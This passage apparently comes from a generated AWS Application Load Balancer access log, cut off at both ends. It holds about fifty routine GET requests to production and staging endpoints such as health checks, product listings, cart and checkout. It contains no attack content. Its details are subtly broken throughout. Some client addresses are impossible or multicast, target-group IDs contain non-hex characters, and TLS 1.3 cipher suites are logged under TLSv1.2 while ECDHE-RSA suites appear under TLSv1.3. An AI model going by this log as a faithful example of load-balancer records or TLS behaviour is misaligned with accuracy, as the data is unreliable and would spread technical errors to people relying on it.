arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dec2-79a3df9ab3214ef3a5d1c09f" "prod-api-alb.example.com" "-" 1 2024-11-01T02:47:14.290164Z "forward" "-" "-" "10.0.165.128:443" "404" "-" "-" -http 2024-11-01T02:47:14.494384Z staging-alb 245.198.61.225:55407 235.134.127.245:80 0.126509 0.067176 0.136006 404 404 740 9416 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dec2-f4d0302e8865421db8d47a49" "staging-alb.example.com" "-" 8 2024-11-01T02:47:14.494384Z "forward" "-" "-" "235.134.127.245:80" "404" "-" "-" -https 2024-11-01T02:47:15.153673Z prod-api-alb 8.112.253.57:18802 10.0.14.227:443 0.030945 0.211428 0.019392 302 302 122 471 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dec3-01dae15b2f9d49fd9bc6dc14" "prod-api-alb.example.com" "-" 9 2024-11-01T02:47:15.153673Z "forward" "-" "-" "10.0.14.227:443" "302" "-" "-" -https 2024-11-01T02:47:17.105797Z prod-web-alb 255.52.38.25:22971 10.0.198.82:443 0.045789 0.380894 0.069666 301 301 966 10579 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dec5-c78d41ff68b3497c80423ae2" "prod-web-alb.example.com" "-" 4 2024-11-01T02:47:17.105797Z "forward" "-" "-" "10.0.198.82:443" "301" "-" "-" -http 2024-11-01T02:47:17.758421Z staging-alb 168.216.190.44:27428 81.117.251.238:443 0.035679 0.407314 0.139596 200 200 620 5384 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dec5-e8455eb64c1d4df19ce00e06" "staging-alb.example.com" "-" 2 2024-11-01T02:47:17.758421Z "forward" "-" "-" "81.117.251.238:443" "200" "-" "-" -https 2024-11-01T02:47:18.779255Z prod-api-alb 213.252.172.186:42178 10.0.166.135:443 0.053068 0.265790 0.042249 404 404 715 9658 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dec6-1f767c905f794ec3a3dcba42" "prod-api-alb.example.com" "-" 1 2024-11-01T02:47:18.779255Z "forward" "-" "-" "10.0.166.135:443" "404" "-" "-" -https 2024-11-01T02:47:20.353752Z prod-api-alb 111.237.67.18:58548 10.0.4.201:443 0.005052 0.021635 0.001901 302 302 759 317 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dec8-9addd37a52284bc1b30b6d60" "prod-api-alb.example.com" "-" 0 2024-11-01T02:47:20.353752Z "forward" "-" "-" "10.0.4.201:443" "302" "-" "-" -https 2024-11-01T02:47:21.992600Z prod-api-alb 18.7.219.217:51599 10.0.123.228:443 0.012272 0.427175 0.063219 404 404 515 13767 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dec9-8436db36aedd4bf6a4143a0b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:47:21.992600Z "forward" "-" "-" "10.0.123.228:443" "404" "-" "-" -https 2024-11-01T02:47:23.488120Z prod-web-alb 236.53.138.169:17508 10.0.109.173:443 0.043674 0.079588 0.058354 404 404 781 7556 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723decb-658f48d0183448f89e093f02" "prod-web-alb.example.com" "-" 1 2024-11-01T02:47:23.488120Z "forward" "-" "-" "10.0.109.173:443" "404" "-" "-" -https 2024-11-01T02:47:24.995155Z staging-alb 64.38.153.119:17386 98.118.41.158:8080 0.053243 0.075623 0.066088 200 200 475 10841 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723decc-a54f88ffd5f546e290af87f8" "-" "-" 4 2024-11-01T02:47:24.995155Z "forward" "-" "-" "98.118.41.158:8080" "200" "-" "-" -http 2024-11-01T02:47:26.116641Z staging-alb 221.173.244.154:59033 79.107.171.12:80 0.102221 0.393300 0.102484 404 404 678 13474 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dece-1c05ff9f809c4839a11a39c2" "staging-alb.example.com" "-" 3 2024-11-01T02:47:26.116641Z "forward" "-" "-" "79.107.171.12:80" "404" "-" "-" -http 2024-11-01T02:47:27.253933Z staging-alb 162.71.68.133:51164 123.12.47.92:8080 0.067339 0.066835 0.116109 200 200 624 2892 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723decf-36b1556168d448dd8bb2efe8" "staging-alb.example.com" "-" 4 2024-11-01T02:47:27.253933Z "forward" "-" "-" "123.12.47.92:8080" "200" "-" "-" -https 2024-11-01T02:47:28.250439Z prod-web-alb 50.144.170.185:19171 10.0.192.115:443 0.062729 0.298060 0.099976 200 200 679 9025 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ded0-c4e95dd39e0e4906b12b09dc" "prod-web-alb.example.com" "-" 10 2024-11-01T02:47:28.250439Z "forward" "-" "-" "10.0.192.115:443" "200" "-" "-" -https 2024-11-01T02:47:30.156969Z prod-api-alb 11.44.88.217:50975 10.0.210.7:443 0.080918 0.155016 0.068138 200 200 986 10933 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ded2-558c949a2a4f4a41b3b7b890" "prod-api-alb.example.com" "-" 4 2024-11-01T02:47:30.156969Z "forward" "-" "-" "10.0.210.7:443" "200" "-" "-" -https 2024-11-01T02:47:30.506641Z prod-api-alb 117.128.93.96:32808 10.0.248.253:443 0.096575 0.414900 0.073219 301 301 310 3768 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ded2-6281f4366f3b4a5bb074283f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:47:30.506641Z "forward" "-" "-" "10.0.248.253:443" "301" "-" "-" -https 2024-11-01T02:47:32.368918Z prod-web-alb 207.182.215.198:14893 10.0.116.110:443 0.007659 0.391778 0.059718 200 200 473 891 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ded4-95bf19164f344e54abf823d9" "prod-web-alb.example.com" "-" 0 2024-11-01T02:47:32.368918Z "forward" "-" "-" "10.0.116.110:443" "200" "-" "-" -https 2024-11-01T02:47:32.777433Z prod-web-alb 180.187.236.40:39930 10.0.168.48:443 0.087339 0.210562 0.000811 302 302 767 4191 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ded4-2551f6906b604cfaabe1109f" "prod-web-alb.example.com" "-" 2 2024-11-01T02:47:32.777433Z "forward" "-" "-" "10.0.168.48:443" "302" "-" "-" -https 2024-11-01T02:47:33.845388Z prod-api-alb 83.165.250.29:36297 10.0.3.33:443 0.022483 0.414751 0.072929 200 200 444 8275 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ded5-10233c53c4e348fc9427e020" "prod-api-alb.example.com" "-" 3 2024-11-01T02:47:33.845388Z "forward" "-" "-" "10.0.3.33:443" "200" "-" "-" -https 2024-11-01T02:47:34.257663Z staging-alb 28.178.108.42:29079 147.8.161.153:80 0.114104 0.584742 0.078051 301 301 546 13589 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ded6-63b3eba3d7444418a609bb9f" "staging-alb.example.com" "-" 2 2024-11-01T02:47:34.257663Z "forward" "-" "-" "147.8.161.153:80" "301" "-" "-" -https 2024-11-01T02:47:35.601371Z staging-alb 42.85.225.147:47328 39.161.234.202:443 0.050396 0.461656 0.086306 200 200 859 10311 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ded7-07b2e8c3aa754ccca3f0b16b" "staging-alb.example.com" "-" 8 2024-11-01T02:47:35.601371Z "forward" "-" "-" "39.161.234.202:443" "200" "-" "-" -https 2024-11-01T02:47:35.704183Z prod-api-alb 52.237.27.15:27168 10.0.177.85:443 0.073095 0.155819 0.003268 200 200 902 6202 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ded7-303ca7cb30c340a5a9294e0e" "prod-api-alb.example.com" "-" 0 2024-11-01T02:47:35.704183Z "forward" "-" "-" "10.0.177.85:443" "200" "-" "-" -http 2024-11-01T02:47:37.078559Z staging-alb 10.250.7.168:45692 96.190.12.35:443 0.078793 0.293685 0.116598 200 200 107 14187 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ded9-2627ec7c16ef449a8a1cc14d" "staging-alb.example.com" "-" 5 2024-11-01T02:47:37.078559Z "forward" "-" "-" "96.190.12.35:443" "200" "-" "-" -https 2024-11-01T02:47:38.312710Z prod-web-alb 46.53.74.70:35790 10.0.145.221:443 0.087863 0.207958 0.099269 200 200 962 2994 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deda-231025c153854b0fa0a77be3" "prod-web-alb.example.com" "-" 5 2024-11-01T02:47:38.312710Z "forward" "-" "-" "10.0.145.221:443" "200" "-" "-" -http 2024-11-01T02:47:40.042264Z staging-alb 120.186.233.131:17408 95.126.183.159:80 0.094004 0.613311 0.026929 200 200 321 681 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dedc-90b878c9b6a147f890c79ca3" "staging-alb.example.com" "-" 10 2024-11-01T02:47:40.042264Z "forward" "-" "-" "95.126.183.159:80" "200" "-" "-" -https 2024-11-01T02:47:40.584498Z staging-alb 159.221.34.84:49928 175.210.52.129:8080 0.111007 0.610435 0.002938 200 200 712 9115 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dedc-dc67dcfd2b3a44788e386f5d" "staging-alb.example.com" "-" 10 2024-11-01T02:47:40.584498Z "forward" "-" "-" "175.210.52.129:8080" "200" "-" "-" -https 2024-11-01T02:47:41.597396Z prod-api-alb 123.97.154.201:48649 10.0.222.57:443 0.022029 0.011430 0.094294 200 200 430 8814 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dedd-da7fce1d430d49ed92a98798" "prod-api-alb.example.com" "-" 1 2024-11-01T02:47:41.597396Z "forward" "-" "-" "10.0.222.57:443" "200" "-" "-" -http 2024-11-01T02:47:41.958714Z staging-alb 102.80.37.119:53239 117.38.86.103:80 0.030072 0.049565 0.076028 200 200 78 3944 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dedd-27b8e1ad39654288b4f758e3" "staging-alb.example.com" "-" 1 2024-11-01T02:47:41.958714Z "forward" "-" "-" "117.38.86.103:80" "200" "-" "-" -https 2024-11-01T02:47:42.669514Z staging-alb 244.212.26.22:58638 209.219.31.229:443 0.025761 0.282561 0.038314 301 301 476 7488 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dede-f08f40384ce846908f90a170" "staging-alb.example.com" "-" 10 2024-11-01T02:47:42.669514Z "forward" "-" "-" "209.219.31.229:443" "301" "-" "-" -https 2024-11-01T02:47:43.711112Z prod-web-alb 59.242.186.216:14882 10.0.238.81:443 0.096609 0.320607 0.057285 200 200 299 12344 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dedf-b8ed24abb33f4bb4a20eddfa" "prod-web-alb.example.com" "-" 8 2024-11-01T02:47:43.711112Z "forward" "-" "-" "10.0.238.81:443" "200" "-" "-" -https 2024-11-01T02:47:44.868628Z prod-web-alb 110.167.186.170:32658 10.0.204.13:443 0.007223 0.088657 0.048685 200 200 945 13011 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dee0-8538e65103b44fc79693ae24" "prod-web-alb.example.com" "-" 8 2024-11-01T02:47:44.868628Z "forward" "-" "-" "10.0.204.13:443" "200" "-" "-" -https 2024-11-01T02:47:45.793154Z prod-web-alb 167.116.22.47:58849 10.0.148.3:443 0.043737 0.172672 0.004985 404 404 831 11776 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dee1-5fbb27062d0040d1ab95bd5b" "prod-web-alb.example.com" "-" 6 2024-11-01T02:47:45.793154Z "forward" "-" "-" "10.0.148.3:443" "404" "-" "-" -http 2024-11-01T02:47:46.660021Z staging-alb 204.252.82.187:58947 99.144.29.163:80 0.031896 0.438091 0.137122 200 200 435 9353 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dee2-649d2747e80d457b82a15d20" "-" "-" 9 2024-11-01T02:47:46.660021Z "forward" "-" "-" "99.144.29.163:80" "200" "-" "-" -https 2024-11-01T02:47:48.294234Z prod-api-alb 162.230.102.240:18423 10.0.107.182:443 0.030748 0.287418 0.004143 404 404 36 7058 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dee4-3823de19091948db902b54b2" "prod-api-alb.example.com" "-" 2 2024-11-01T02:47:48.294234Z "forward" "-" "-" "10.0.107.182:443" "404" "-" "-" -https 2024-11-01T02:47:48.483688Z prod-web-alb 8.103.155.199:58996 10.0.209.67:443 0.037826 0.325137 0.069029 302 302 147 2391 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dee4-11f04a72c0d9478cbcef5629" "prod-web-alb.example.com" "-" 3 2024-11-01T02:47:48.483688Z "forward" "-" "-" "10.0.209.67:443" "302" "-" "-" -https 2024-11-01T02:47:48.987958Z prod-web-alb 94.37.251.67:23389 10.0.127.121:443 0.059937 0.029365 0.051373 200 200 987 4387 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dee4-4e6276b700694dffbae94270" "prod-web-alb.example.com" "-" 10 2024-11-01T02:47:48.987958Z "forward" "-" "-" "10.0.127.121:443" "200" "-" "-" -https 2024-11-01T02:47:49.794312Z prod-api-alb 77.23.68.152:59449 10.0.156.169:443 0.069948 0.118419 0.066785 200 200 952 10761 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dee5-054ae301d6b346e79bf626ec" "prod-api-alb.example.com" "-" 7 2024-11-01T02:47:49.794312Z "forward" "-" "-" "10.0.156.169:443" "200" "-" "-" -https 2024-11-01T02:47:50.101944Z staging-alb 51.255.5.142:46585 11.245.226.15:80 0.046310 0.225444 0.011208 200 200 705 9997 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dee6-7bf6430ac1d04c0b8306d1ac" "staging-alb.example.com" "-" 6 2024-11-01T02:47:50.101944Z "forward" "-" "-" "11.245.226.15:80" "200" "-" "-" -https 2024-11-01T02:47:50.833230Z staging-alb 126.199.186.139:48616 141.2.164.77:80 0.096716 0.442104 0.111774 404 404 110 1378 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dee6-064a676980e44d919a14979a" "staging-alb.example.com" "-" 5 2024-11-01T02:47:50.833230Z "forward" "-" "-" "141.2.164.77:80" "404" "-" "-" -https 2024-11-01T02:47:51.153464Z prod-web-alb 47.133.212.44:64668 10.0.93.203:443 0.080398 0.414005 0.018779 200 200 258 1011 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dee7-0ea9bc98606948ce84be3c66" "prod-web-alb.example.com" "-" 1 2024-11-01T02:47:51.153464Z "forward" "-" "-" "10.0.93.203:443" "200" "-" "-" -https 2024-11-01T02:47:52.459296Z staging-alb 232.13.26.196:43454 13.232.239.145:443 0.027106 0.110883 0.016053 200 200 428 8986 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dee8-68a36a6b9bf045b3bc5bd821" "staging-alb.example.com" "-" 6 2024-11-01T02:47:52.459296Z "forward" "-" "-" "13.232.239.145:443" "200" "-" "-" -https 2024-11-01T02:47:53.502575Z prod-web-alb 164.92.180.35:23687 10.0.64.56:443 0.001324 0.404244 0.033472 404 404 593 11224 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dee9-99adef41e399441c946bdc95" "prod-web-alb.example.com" "-" 3 2024-11-01T02:47:53.502575Z "forward" "-" "-" "10.0.64.56:443" "404" "-" "-" -http 2024-11-01T02:47:55.269104Z staging-alb 130.34.51.194:12077 132.40.106.44:80 0.091309 0.255696 0.140551 200 200 78 6535 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723deeb-0fc88bf3ae30426d92001caf" "staging-alb.example.com" "-" 1 2024-11-01T02:47:55.269104Z "forward" "-" "-" "132.40.106.44:80" "200" "-" "-" -http 2024-11-01T02:47:57.039191Z staging-alb 66.78.12.107:47091 215.1.118.8:80 0.027957 0.145109 0.109807 404 404 454 14525 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723deed-d0257123ea9e47d29da46e02" "staging-alb.example.com" "-" 8 2024-11-01T02:47:57.039191Z "forward" "-" "-" "215.1.118.8:80" "404" "-" "-" -https 2024-11-01T02:47:57.314580Z prod-web-alb 217.82.37.97:30621 10.0.97.135:443 0.058936 0.152518 0.031912 200 200 65 11672 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deed-b81fa6c518194cfe8c0e3272" "prod-web-alb.example.com" "-" 8 2024-11-01T02:47:57.314580Z "forward" "-" "-" "10.0.97.135:443" "200" "-" "-" -https 2024-11-01T02:47:58.246889Z prod-api-alb 35.208.174.69:61966 10.0.224.177:443 0.038175 0.070439 0.022559 404 404 411 6941 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deee-e35cccc7d0a74b8a857323ce" "prod-api-alb.example.com" "-" 8 2024-11-01T02:47:58.246889Z "forward" "-" "-" "10.0.224.177:443" "404" "-" "-" -https 2024-11-01T02:47:58.864907Z prod-web-alb 138.197.56.198:29149 10.0.118.62:443 0.030123 0.192529 0.039235 404 404 342 8831 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deee-1993cbe7de5746bbbffc7c6a" "-" "-" 9 2024-11-01T02:47:58.864907Z "forward" "-" "-" "10.0.118.62:443" "404" "-" "-" -http 2024-11-01T02:48:00.399110Z staging-alb 184.143.40.195:19329 88.130.74.167:8080 0.080670 0.109857 0.124238 200 200 772 14543 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723def0-b32690e27557406396af602b" "staging-alb.example.com" "-" 5 2024-11-01T02:48:00.399110Z "forward" "-" "-" "88.130.74.167:8080" "200" "-" "-" -https 2024-11-01T02:48:01.893569Z prod-web-alb 225.187.130.212:45830 10.0.12.16:443 0.077822 0.158991 0.081663 404 404 54 3354 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723def1-3b74ef2bb33b45c5a5c9403d" "prod-web-alb.example.com" "-" 2 